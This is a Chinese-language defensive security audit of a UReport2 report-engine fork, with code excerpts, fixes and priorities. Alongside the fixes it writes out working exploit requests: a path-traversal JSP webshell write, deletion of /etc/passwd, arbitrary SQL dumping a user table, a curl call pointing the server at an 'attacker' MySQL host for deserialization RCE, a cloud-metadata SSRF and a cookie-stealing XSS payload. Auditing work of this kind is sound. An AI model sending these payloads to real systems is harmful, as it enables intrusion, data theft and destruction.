UReport2 报表引擎安全审计报告
审计对象:
/ureport(UReport2 2.0.6 fork,基于 Apache-2.0 的纯 Java 中式报表引擎)
审计日期:2026-08-10
审计性质:防御性安全审计(只读代码,未对真实环境发起任何攻击验证)
结论一句话:报表服务一旦可被访问,等同把「数据库任意读写 + 服务器任意文件读写 + SSRF + 在线设计器」全部裸露。
1. 审计概述
| 项 | 说明 |
|---|---|
| 项目 | UReport2 报表引擎(Spring 架构,纯 Java,浏览器拖拽式报表设计器) |
| Fork 来源 | github.com/youseries/ureport |
| 本地版本 | 2.0.6(含本地二次开发,如查询表单参数绑定改为直接输入、PDF 导出优化等) |
| 审计重点 | 反序列化 / 命令执行 / RCE / SQL 注入 / 未授权访问 / XSS / SSRF / 越权 |
| 审计方式 | 静态代码审计,逐条核实从 HTTP 入口到危险 sink 的调用链 |
依赖清单(ureport2-core/pom.xml、ureport2-console/pom.xml)
| 组件 | 版本 | 已知风险 |
|---|---|---|
| commons-fileupload | 1.3.2 | CVE-2016-1000031,文件上传无大小限制 |
| poi-ooxml / poi-scratchpad | 3.16 | OOXML 解析 XXE(3.17 前) |
| spring-web / spring-jdbc | 4.3.11.RELEASE | 严重过旧,多个已知 CVE |
| velocity | 1.7 | CVE-2020-13936 等 |
| jackson-mapper-asl | 1.9.11 | 极老,XXE / 多态反序列化风险 |
| commons-beanutils-core | 1.8.3 | 反序列化 gadget 组件 |
| commons-io | 2.5 | 版本过旧 |
| itextpdf | 5.5.13 | 过旧 |
| dom4j | 1.6.1 | XXE 风险 |
2. 审计范围
模块结构
| 模块 | 作用 |
|---|---|
ureport2-core |
核心引擎:报表模型、表达式解析、SQL 数据集、图表、导出、缓存 |
ureport2-console |
Web 控制台:UReportServlet(挂 /ureport/*)+ 设计器/导出/数据源 ServletAction |
ureport2-js / ureport2-font / ureport2-parent |
前端资源 / PDF 字体 / Maven 父 POM |
Web 入口(UReportServlet 下所有 Action,均无鉴权)
| URL | Action 类 | 关键能力 |
|---|---|---|
/ureport/designer |
DesignerServletAction |
报表模板 保存/加载/删除、表达式校验 |
/ureport/datasource |
DatasourceServletAction |
任意 SQL 执行、任意 JDBC 连接、任意类加载 |
/ureport/preview |
HtmlPreviewServletAction |
报表预览、参数回显 |
/ureport/pdf /word /excel /excel97 |
导出 Action | 按 _u 参数加载模板导出 |
/ureport/import |
ImportExcelServletAction |
Excel 上传解析 |
/ureport/res |
ResourceLoaderServletAction |
classpath 资源读取 |
/ureport/chart /ureport/image |
图表/图片 | 图表数据、图片 |
Action 内的方法路由:URL 中 Action 路径后的段即为方法名,反射调用该 Action 的任意 public 方法(BaseServletAction.retriveMethod/invokeMethod:85-104)。
3. 漏洞详情
3.1 🔴 未授权访问(全部接口无鉴权)【所有漏洞的前提】
位置:ureport2-console/.../console/UReportServlet.java:61-96
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
...
ServletAction targetHandler = actionMap.get(targetUrl);
if (targetHandler == null) { ... }
RequestHolder.setRequest(req);
targetHandler.execute(req, resp); // 无任何认证/授权/会话校验
...
}
问题:UReportServlet 对请求不做任何鉴权。仓库内也没有 Spring Security / Filter / 拦截器配置。所有设计器、数据源、导入、导出接口对任何可访问应用的人开放。越权/未授权访问为系统性缺陷,是 3.2~3.7 全部漏洞的放大器。
利用:直接访问任意接口即可,无需任何凭证。
修复:
- 在网关或应用层对
/ureport/*增加强鉴权(统一登录 + RBAC),设计器/数据源接口(/designer、/datasource、/import、/searchFormDesigner)仅允许管理员访问; - 报表预览/导出接口(
/preview、/pdf等)要求登录且校验模板的可见范围; - 不要直接对外暴露
/ureport/*。
3.2 🔴 任意文件写 / 任意文件删除(路径穿越)→ 可升级 RCE
位置:
ureport2-console/.../console/designer/DesignerServletAction.java:146-186(HTTP 入口)ureport2-core/.../provider/report/file/FileReportProvider.java:64-120(sink)
// DesignerServletAction.java:165 —— HTTP 入口,file 参数双 URL-decode 后直接透传
public void saveReportFile(HttpServletRequest req, HttpServletResponse resp) {
String file=req.getParameter("file");
file=ReportUtils.decodeFileName(file); // 双 URLDecoder.decode
String content=req.getParameter("content");
content=decodeContent(content);
...
targetReportProvider.saveReport(file, content); // 先写文件
// 之后才做 XML 解析 —— 即使内容不是合法报表 XML,文件已落盘
}
// FileReportProvider.java:99 —— sink,仅拼接路径,无任何 ../ 校验
public void saveReport(String file,String content) {
if(file.startsWith(prefix)){ file=file.substring(prefix.length()); }
String fullPath=fileStoreDir+"/"+file; // 路径穿越点
FileOutputStream outStream=new FileOutputStream(new File(fullPath));
IOUtils.write(content, outStream,"utf-8");
}
// FileReportProvider.java:64 —— 任意文件删除
public void deleteReport(String file) {
String fullPath=fileStoreDir+"/"+file;
File f=new File(fullPath);
if(f.exists()){ f.delete(); }
}
问题:file 参数(来自请求,双 URL-decode)未做任何规范化/白名单校验,直接拼 fileStoreDir + "/" + file。默认 fileStoreDir 在 web 根目录下(FileReportProvider.setApplicationContext:136-151 使用 servletContext.getRealPath("/")),../ 可直接逃逸出报表目录。写文件在 XML 解析之前执行,因此可写入任意内容。
利用(HTTP 请求包):
# ① 任意文件写 —— 写入 JSP webshell 实现 RCE(若 web 目录可写且可执行 JSP)
POST /ureport/designer/saveReportFile HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
file=file:../../../../../../webapps/ROOT/shell.jsp&content=%3C%25Runtime.getRuntime().exec(request.getParameter(%22c%22));%25%3E
# ② 任意文件删除 —— DoS / 破坏
GET /ureport/designer/deleteReportFile?file=file:../../../../../../etc/passwd HTTP/1.1
# ③ 任意文件读(内容须可被解析为报表 XML 才完整回显,可用于读报表文件)
GET /ureport/designer/loadReport?file=file:../../otherdir/secret.ureport.xml HTTP/1.1
利用(脚本思路):遍历 ../../../../../../ 逐级确认可写目录;若能写入并访问 JSP,则直接 shell.jsp?c=id 命令执行。
修复:
saveReport/deleteReport/loadReport中先new File(fileStoreDir+"/"+file).getCanonicalPath(),校验其必须以fileStoreDir的 canonical 路径为前缀,否则拒绝;- 对
file做白名单(仅允许报表目录内的.ureport.xml); fileStoreDir移出 web 可执行目录,禁止与 web root 有相对关系。
3.3 🔴 任意 SQL 执行 + 任意数据库数据读取(数据库沦陷)
位置:ureport2-console/.../console/designer/DatasourceServletAction.java:169-270
// previewData —— 直接执行攻击者 SQL 并返回最多 500 行结果
public void previewData(HttpServletRequest req, HttpServletResponse resp) {
String sql=req.getParameter("sql"); // 完全可控
...
conn=buildConnection(req); // buildin 业务库 或 任意 JDBC
list=jdbc.queryForList(sql, map); // 任意 SQL
...
result.setData(ls); // 数据直接回显给攻击者
writeObjectToJson(resp, result);
}
// buildFields —— 同样执行任意 SQL
public void buildFields(...) {
String sql=req.getParameter("sql");
conn=buildConnection(req);
... ps.executeQuery(); ...
}
// buildConnection —— 内置数据源 或 攻击者完全控制的 JDBC 连接
private Connection buildConnection(HttpServletRequest req) throws Exception{
String type=req.getParameter("type");
if(type.equals("jdbc")){
String username=req.getParameter("username");
String password=req.getParameter("password");
String driver=req.getParameter("driver");
String url=req.getParameter("url");
Class.forName(driver); // 任意类加载
return DriverManager.getConnection(url, username, password);
}else{
return Utils.getBuildinConnection(req.getParameter("name"));
}
}
问题:设计器数据集接口未校验 SQL 来源。攻击者可对业务内置数据源执行任意 SQL 并直接读取返回数据(用户数据/应用数据/全库数据),也可指定任意 JDBC 连接。无任何白名单/权限校验。
利用(HTTP 请求包):
# ① 对内置业务数据源执行任意 SQL(type=buildin 使用应用配置的数据源)
POST /ureport/datasource/previewData HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
type=buildin&name=默认数据源&sql=select * from sys_user
# ② 列举内置数据源
GET /ureport/datasource/loadBuildinDatasources HTTP/1.1
# ③ 对任意 JDBC 目标执行(SSRF/内网数据库)
POST /ureport/datasource/previewData HTTP/1.1
Content-Type: application/x-www-form-urlencoded
type=jdbc&driver=com.mysql.jdbc.Driver&url=jdbc:mysql://10.0.0.5:3306/app&username=root&password=root&sql=select * from user
修复:
- 对
/datasource/*所有方法做严格鉴权(仅管理员); - 禁止执行任意 SQL:SQL 只能来自服务端持久化的报表模板,
previewData/buildFields必须基于模板数据集解析,不允许直接使用请求参数里的 SQL; - 禁止
type=jdbc的任意 JDBC 连接(删除 testConnection / 任意 url 连接能力),数据库连接统一走配置好的数据源并限制内网访问。
3.4 🔴 任意 JDBC 连接 + 任意类加载(SSRF / MySQL 反序列化 RCE / 信息探测)
位置:DatasourceServletAction.java:122-139, 311-335
// testConnection —— 攻击者完全控制 driver/url/username/password
public void testConnection(...) {
String driver=req.getParameter("driver");
String url=req.getParameter("url");
...
Class.forName(driver); // ① 任意类加载(默认 init=true,触发静态初始化块)
conn=DriverManager.getConnection(url, username, password); // ② 任意 JDBC 连接
}
// buildClass —— 任意类加载 + 属性枚举
public void buildClass(...) {
String clazz=req.getParameter("clazz");
Class<?> targetClass=Class.forName(clazz); // 任意类名
... PropertyUtils.getPropertyDescriptors(targetClass) ... // 反射枚举属性
}
问题:
- 任意类加载:
Class.forName(clazz)默认initialize=true,可加载 classpath 任意类并触发其静态初始化块; - 任意 JDBC 连接:
DriverManager.getConnection(url,...)可连内网任意数据库(SSRF 探活); - 经典 MySQL JDBC 反序列化 RCE:
jdbc:mysql://attacker:3306/xx+ 恶意服务端响应(autoDeserialize/allowLoadLocalInfile)可触发反序列化 gadget RCE 或任意文件读取。
利用(脚本思路):
# 探测类加载能力
curl "http://target/ureport/datasource/buildClass?clazz=com.sun.rowset.JdbcRowSetImpl"
# 让服务端连接攻击者控制的 MySQL(配合 ysoserial MySQL 攻击链 -> RCE)
curl -X POST "http://target/ureport/datasource/testConnection" \
-d "driver=com.mysql.jdbc.Driver&url=jdbc:mysql://attacker:3306/test&username=root&password=root"
修复:
- 删除
testConnection/buildClass,或将其限制为仅管理员可见且 driver 白名单; - 数据库连接一律使用预先配置并校验过的数据源,禁止从请求参数构造 JDBC URL;
- 升级 mysql-connector-java 并禁用
autoDeserialize。
3.5 🟠 SSRF(带响应回显)【fork 新增代码】
位置:
ureport2-core/.../provider/image/HttpImageProvider.java:31-41(fork 新增)ureport2-core/.../provider/image/HttpsImageProvider.java:34-35- 触发点
ureport2-core/.../build/compute/ImageValueCompute.java:72-95→ImageUtils.getImageBase64Data
// HttpImageProvider.java:31 —— 报表图片 path 为 http: 即服务端抓取
public InputStream getImage(String path) {
URL url=new URL(path);
URLConnection connection=url.openConnection(); // SSRF
connection.connect();
return connection.getInputStream();
}
public boolean support(String path) { return path.startsWith("http:"); }
问题:报表模板图片单元格的 path 以 http(s): 开头时,服务端发起请求。由于可写入/导入任意模板(3.2),攻击者构造含恶意图片路径的模板 → 预览/导出触发服务端抓取,且抓取结果被 base64 内联进预览 HTML 回显 → 可读取内网 HTTP 服务/云元数据。
利用(HTTP 请求包):
# 构造模板含图片单元格:<image path="http://169.254.169.254/latest/meta-data/iam/security-credentials/"/>
# 保存后预览,响应 HTML 中即含云元数据内容 base64 内联
POST /ureport/designer/saveReportFile HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=file:evil.ureport.xml&content=<模板内容(含 http 图片)>
GET /ureport/preview?_u=file:evil.ureport.xml HTTP/1.1
修复:
- 图片路径解析阶段拦截
http:/https:协议,或加协议+主机白名单(禁止内网 IP、禁止 metadata 地址 169.254.169.254/100.100.100.200 等); - 使用 SSRF 防护组件(DNS 重绑定防护、禁止回环/私网地址);
- 报表模板的图片 URL 不允许从用户可控输入直接进入。
3.6 🟠 反射型 XSS
位置:
ureport2-console/.../console/html/HtmlPreviewServletAction.java:326-342(拼接)ureport2-console/src/main/resources/ureport-html/html-preview.html:78,80,83,85,123(输出)
// HtmlPreviewServletAction.java:326 —— 请求参数 name=value 未转义拼接
private String buildCustomParameters(HttpServletRequest req){
StringBuilder sb=new StringBuilder();
Enumeration<?> enumeration=req.getParameterNames();
...
String name=obj.toString();
String value=req.getParameter(name);
if(name==null || value==null || (name.startsWith("_") && !name.equals("_n"))){ continue; }
sb.append(name); sb.append("="); sb.append(value); // 未做任何 HTML 转义
return sb.toString();
}
<!-- html-preview.html:78 / :123 —— 未转义输出到 href 与 JS -->
<li><a href="${contextPath}/ureport/preview?_u=${file}&${customParameters}" ...>预览</a></li>
submitSearchForm("${file}","${customParameters}");
问题:Velocity 默认不对 ${} 转义。customParameters 与 _u 参数被原样拼入 href 和 JS 函数参数 → 反射型 XSS(可窃取管理员 Cookie / 钓鱼)。
利用(HTTP 请求包):
GET /ureport/preview?_u=aaa&x=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
修复:
- 对输出到 HTML 的请求参数做 HTML 实体转义(
StringEscapeUtils.escapeHtml4),或 Velocity 配置#escape/output.encoding策略; buildCustomParameters中每个 name/value 都转义;_u/file/_t等回显参数一律转义。
3.7 🟠 存储型 XSS(链接 URL 未转义)
位置:ureport2-core/.../export/html/HtmlProducer.java:151-220
String linkURL=cell.getLinkUrl();
...
linkURL=data.toString(); // 链接 URL 可来自数据集数据/表达式结果
...
sb.append("<a href=\""+linkURL+"\" target=\""+target+"\">"); // 未转义直接拼入
问题:单元格链接 URL 来自表达式/数据绑定结果,输出到 href 前未做任何转义。若报表数据字段被攻击者控制(如用户输入存库后作为链接字段),渲染即触发存储型 XSS。
修复:
- 输出
linkURL前做 URL/HTML 双重转义,并校验协议白名单(禁止javascript:等); target也需转义。
3.8 🟡 SQL 注入(模板设计层面,${} 内联)
位置:ureport2-core/.../definition/dataset/SqlDatasetDefinition.java:50-76
// SQL 文本中的 ${...} 会被表达式执行结果直接字符串替换进 SQL
Pattern pattern=Pattern.compile("\\$\\{.*?\\}");
Matcher matcher=pattern.matcher(sqlForUse);
while(matcher.find()){
String substr=matcher.group();
String sqlExpr=substr.substring(2,substr.length()-1);
Expression expr=ExpressionUtils.parseExpression(sqlExpr);
String result=executeSqlExpr(expr, context); // 表达式结果(可能含请求参数值)
sqlForUse=sqlForUse.replace(substr, result); // 字符串拼接进 SQL —— 注入点
}
NamedParameterJdbcTemplate jdbcTemplate=new NamedParameterJdbcTemplate(datasource);
list= jdbcTemplate.queryForList(sqlForUse, pmap);
问题:NamedParameterJdbcTemplate 对 :param 绑定参数是安全的;但 SQL 文本中的 ${expr} 会内联表达式求值结果。若模板 SQL 写成 ${请求参数}(而非 :param),攻击者通过请求参数即可注入 SQL。叠加 3.2/3.3(可写模板 + 任意 SQL 接口),实际数据库已完全可控。
修复:
- 模板 SQL 中禁止
${}内联,统一使用:param命名参数绑定; - 运行时参数一律经
PreparedStatement绑定,不做文本替换; - 增加 SQL 审计日志。
3.9 🟡 错误信息 XSS + 堆栈信息泄露
位置:UReportServlet.java:82-93、HtmlPreviewServletAction.java:350-359
// UReportServlet.java —— 异常 message 未转义写入响应
String errorMsg = e.getMessage();
...
pw.write(errorMsg); // 无转义,message 中常含 file 等用户可控参数值
// HtmlPreviewServletAction.java —— 完整堆栈未转义回显(信息泄露)
trace=trace.replaceAll("\n", "<br>");
return trace;
问题:异常信息直接回显,若异常 message 包含用户可控输入(如 file 参数值)则构成反射 XSS;完整堆栈泄露框架/依赖/路径信息。
修复:统一异常处理,回显前 HTML 转义;对外隐藏堆栈详情(生产环境返回通用错误页)。
3.10 🟡 Excel 导入无大小限制 + 旧 POI(XXE / DoS)
位置:ureport2-console/.../importexcel/ImportExcelServletAction.java:50-53
FileItemFactory factory=new DiskFileItemFactory(1000240,new File(tempDir));
ServletFileUpload upload=new ServletFileUpload(factory);
upload.parseRequest(req); // 未 setSizeMax / setFileSizeMax —— 无大小限制
问题:
- 未限制上传大小 → 超大文件/zip 炸弹造成内存/磁盘 DoS;
- POI 3.16(<3.17)解析
.xlsx(OOXML)存在 XXE 风险。
修复:
- 设置
upload.setFileSizeMax(...)/setSizeMax(...),限制文件类型与扩展名; - 升级 POI 到 3.17+ 并开启安全配置。
3.11 🟡 classpath 资源读取
位置:ureport2-console/.../console/res/ResourceLoaderServletAction.java:43-60
String resPath=uri.substring(path.length()+1);
String p="classpath:"+resPath;
InputStream input=applicationContext.getResource(p).getInputStream(); // 读 classpath 任意资源
问题:/ureport/res/* 可读取 classpath 内任意资源。若 application.properties/*.xml 等在 classpath 中且含数据库密码等敏感信息 → 信息泄露。
修复:限制 /ureport/res 仅允许白名单目录(如 ureport-asserts/**)。
3.12 🟢 表达式引擎属性导航(BeanUtils 反射)
位置:ureport2-core/.../Utils.java:161-171
public static Object getProperty(Object obj,String property){
...
return PropertyUtils.getProperty(obj, property); // commons-beanutils,支持 a.b.c 点号导航
}
问题:表达式属性名支持点号导航(如 class.classLoader),可对报表数据对象做受限反射属性读取。受限于只能读属性(无法带参调方法),直接 RCE 难度高,但属探测/信息泄露面,且 commons-beanutils 1.8.3 本身是反序列化 gadget 组件。
修复:对表达式属性名做黑/白名单;升级 commons-beanutils。
4. 反序列化 / 命令执行专项结论
| 类别 | 结论 |
|---|---|
Java 原生反序列化(ObjectInputStream.readObject) |
未发现直接调用点 |
| Jackson 多态反序列化 | writeObjectToJson/buildParameters 未启用 defaultTyping,未发现多态 gadget 入口(jackson 1.9.11 极老,仍建议升级) |
| 命令执行 | 无直接 Runtime.exec;命令执行路径为:① 3.2 任意文件写 JSP webshell → RCE;② 3.4 MySQL JDBC 反序列化 gadget → RCE |
| 表达式引擎 | 函数调用被限制在固定注册表(ExpressionUtils.getFunctions()),未发现任意静态方法调用;风险集中在 BeanUtils 属性导航(3.12) |
5. 修复优先级建议
| 优先级 | 事项 | 对应漏洞 |
|---|---|---|
| P0 | /ureport/* 全部接口接入强鉴权(登录 + RBAC),设计器/数据源仅管理员 |
3.1(放大全部) |
| P0 | FileReportProvider 路径规范化校验(canonical 前缀白名单),fileStoreDir 移出 web 目录 |
3.2 |
| P0 | 收紧 /datasource:禁任意 SQL、禁任意 JDBC 连接、禁 Class.forName 任意类 |
3.3 / 3.4 |
| P1 | 图片加载拦截 http(s)/内网地址(SSRF 防护) | 3.5 |
| P1 | HTML 输出统一转义(参数回显、链接 URL、异常信息) | 3.6 / 3.7 / 3.9 |
| P1 | 模板 SQL 禁止 ${} 内联,统一命名参数绑定 |
3.8 |
| P2 | Excel 导入限大小、升级 POI、升级全部旧依赖 | 3.10 / 依赖 |
| P2 | 收紧 /ureport/res classpath 读取白名单 |
3.11 |
6. 附录:关键文件索引
| 文件 | 说明 |
|---|---|
ureport2-console/src/main/java/com/bstek/ureport/console/UReportServlet.java |
入口,无鉴权 |
ureport2-console/.../designer/DesignerServletAction.java |
模板保存/删除/加载(路径穿越) |
ureport2-core/.../provider/report/file/FileReportProvider.java |
文件读写 sink |
ureport2-console/.../designer/DatasourceServletAction.java |
任意 SQL / JDBC / 类加载 |
ureport2-core/.../provider/image/HttpImageProvider.java |
SSRF(fork 新增) |
ureport2-console/.../html/HtmlPreviewServletAction.java |
反射 XSS |
ureport2-core/.../export/html/HtmlProducer.java |
存储 XSS(链接) |
ureport2-core/.../definition/dataset/SqlDatasetDefinition.java |
SQL ${} 内联注入 |
ureport2-console/src/main/resources/ureport-html/html-preview.html |
XSS 输出点 |